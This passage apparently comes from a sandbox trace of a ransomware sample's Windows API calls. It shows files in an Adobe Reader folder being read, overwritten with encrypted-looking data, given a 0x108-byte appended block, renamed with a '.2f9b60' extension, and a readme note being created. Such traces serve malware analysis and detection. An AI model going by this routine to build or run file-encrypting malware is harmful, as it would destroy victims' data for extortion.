(x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0191.727] wcscat (in: _Dest=0x43196720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0191.727] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) Thread: id = 2425 os_tid = 0x1e58 [0153.427] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn")) returned 0x20 [0153.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN", dwFileAttributes=0x20) returned 1 [0153.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x143c [0153.429] GetFileSizeEx (in: hFile=0x143c, lpFileSize=0x26ddfba0 | out: lpFileSize=0x26ddfba0*=6144) returned 1 [0153.429] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x17fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.429] ReadFile (in: hFile=0x143c, lpBuffer=0x26ddfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26ddfb68, lpOverlapped=0x0 | out: lpBuffer=0x26ddfb20*, lpNumberOfBytesRead=0x26ddfb68*=0x4, lpOverlapped=0x0) returned 1 [0153.708] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d90 [0153.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e20 [0153.709] NtQuerySystemTime (in: CurrentTime=0x26ddfa60 | out: CurrentTime=0x26ddfa60*=132462177588466000) returned 0x0 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x4b31a176 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x61dc1363 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7825e0e5 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x5e897c67 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7b6b67b1 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x47967561 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x651a72f3 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x3608ddc6 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x2894084d [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x42bb0f50 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x1afe9ee [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x611be370 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7b2e4589 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x535c00eb [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x689f5ca4 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x1bbff0b6 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x2ca0e22b [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7ee985d2 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x1a6c9375 [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x6c2c39bb [0153.709] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7d596279 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x4da41538 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x74bf65e4 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x76c4c1a6 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x6a85b1fc [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x3c05dd05 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x5d88c702 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x2c5c9fa [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x7f083eb8 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x5e0c4420 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x709ced67 [0153.710] RtlRandomEx (in: Seed=0x26ddfa50 | out: Seed=0x26ddfa50) returned 0x620887d0 [0153.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e50 [0153.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0153.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e80 [0153.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0153.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053e20) returned 1 [0153.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0153.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0153.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4272cae0 [0153.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427309e0 [0153.731] ReadFile (in: hFile=0x143c, lpBuffer=0x4272cae0, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x26ddfa50, lpOverlapped=0x0 | out: lpBuffer=0x4272cae0*, lpNumberOfBytesRead=0x26ddfa50*=0x1800, lpOverlapped=0x0) returned 1 [0154.612] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.612] WriteFile (in: hFile=0x143c, lpBuffer=0x427309e0*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x26ddfa54, lpOverlapped=0x0 | out: lpBuffer=0x427309e0*, lpNumberOfBytesWritten=0x26ddfa54*=0x1800, lpOverlapped=0x0) returned 1 [0162.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191d0 [0162.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19200 [0162.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19200) returned 1 [0162.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427309e0) returned 1 [0162.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4272cae0) returned 1 [0162.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0162.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0162.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19200 [0162.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0162.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0162.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19230 [0162.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19230) returned 1 [0162.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19230 [0162.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19260 [0162.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19290 [0162.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19290) returned 1 [0162.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0162.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0162.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c17080 [0162.604] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.604] WriteFile (hFile=0x143c, lpBuffer=0x42c17080, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x26ddfb70, lpOverlapped=0x0) [0206.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f49c0 [0206.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f49c0) returned 1 [0206.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0eae0 [0206.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f49c0 [0206.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4990 [0206.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4990) returned 1 [0206.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fb70 [0206.734] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="68") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="b0") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="de") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="42") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="24") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="56") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.734] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="97") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="6a") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="ee") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="38") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="38") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="15") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="fd") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="23") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="52") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="61") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="08") returned 2 [0206.735] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="ec") returned 2 [0206.735] RtlInitAnsiString (in: DestinationString=0x26ddfbe8, SourceString="68b0de422456dd976aeeea38b93815fdc723526108ec" | out: DestinationString="68b0de422456dd976aeeea38b93815fdc723526108ec") [0206.735] RtlAnsiStringToUnicodeString (in: DestinationString=0x26ddfbb8, SourceString="68b0de422456dd976aeeea38b93815fdc723526108ec", AllocateDestinationString=1 | out: DestinationString="68b0de422456dd976aeeea38b93815fdc723526108ec") returned 0x0 [0206.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1aa0 [0206.736] wcscat (in: _Dest=0x431c6900, _Source="68b0de42245" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245" [0206.736] wcscat (in: _Dest=0x431c6900, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245.2f9b60" [0206.736] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245.2f9b60", NtPathName=0x26ddfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\68b0de42245.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311c5e0 Thread: id = 2426 os_tid = 0x1e5c [0153.431] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor")) returned 0x20 [0153.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR", dwFileAttributes=0x20) returned 1 [0153.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1438 [0153.432] GetFileSizeEx (in: hFile=0x1438, lpFileSize=0x277ef6e0 | out: lpFileSize=0x277ef6e0*=7680) returned 1 [0153.432] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.432] ReadFile (in: hFile=0x1438, lpBuffer=0x277ef660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x277ef6a8, lpOverlapped=0x0 | out: lpBuffer=0x277ef660*, lpNumberOfBytesRead=0x277ef6a8*=0x4, lpOverlapped=0x0) returned 1 [0153.678] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c70 [0153.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d00 [0153.679] NtQuerySystemTime (in: CurrentTime=0x277ef5a0 | out: CurrentTime=0x277ef5a0*=132462177588154000) returned 0x0 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x2da9ac19 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x49df8917 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x2a756204 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x3189ad8d [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x52f97a8a [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0xc8112f4 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x39fd8b00 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x7c4af0e9 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x7f3d0b71 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x6a967267 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x484cf9a1 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x3ddec55d [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x32149037 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x75798087 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x3bf39f2c [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x451cbd3 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x242bc8f6 [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x6423ea9f [0153.679] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x18406cc5 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x6de09a77 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x6ef1569f [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x761b4d4e [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x2388a560 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x37a64777 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x7b9e42d8 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x4ed8ec1a [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x26561f31 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x60557843 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x78f151d5 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x68071f0 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x674bdeb1 [0153.680] RtlRandomEx (in: Seed=0x277ef590 | out: Seed=0x277ef590) returned 0x1e86a2c0 [0153.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d30 [0153.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0153.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053d60 [0153.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0153.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d00) returned 1 [0153.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f60 [0153.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0153.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4271daa0 [0153.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427216b0 [0153.693] ReadFile (in: hFile=0x1438, lpBuffer=0x4271daa0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x277ef590, lpOverlapped=0x0 | out: lpBuffer=0x4271daa0*, lpNumberOfBytesRead=0x277ef590*=0x1e00, lpOverlapped=0x0) returned 1 [0154.611] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.611] WriteFile (in: hFile=0x1438, lpBuffer=0x427216b0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x277ef594, lpOverlapped=0x0 | out: lpBuffer=0x427216b0*, lpNumberOfBytesWritten=0x277ef594*=0x1e00, lpOverlapped=0x0) returned 1 [0162.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c194d0 [0162.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19500 [0162.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19500) returned 1 [0162.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427216b0) returned 1 [0162.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4271daa0) returned 1 [0162.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0162.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f60) returned 1 [0162.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19500 [0162.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f60 [0162.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0162.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19530 [0162.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19530) returned 1 [0162.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19530 [0162.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19560 [0162.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19590 [0162.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19590) returned 1 [0162.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0162.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f60) returned 1 [0162.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c172a0 [0162.628] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.628] WriteFile (hFile=0x1438, lpBuffer=0x42c172a0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x277ef6b0, lpOverlapped=0x0) [0206.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ae0 [0206.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4ae0) returned 1 [0206.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0eae0 [0206.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ae0 [0206.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4ab0 [0206.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4ab0) returned 1 [0206.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fb70 [0206.714] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="29") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="d3") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="93") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="70") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="90") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="ed") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="53") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="a2") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="04") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="cb") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="37") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="9d") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="97") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="cc") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="1e") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="12") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb98, 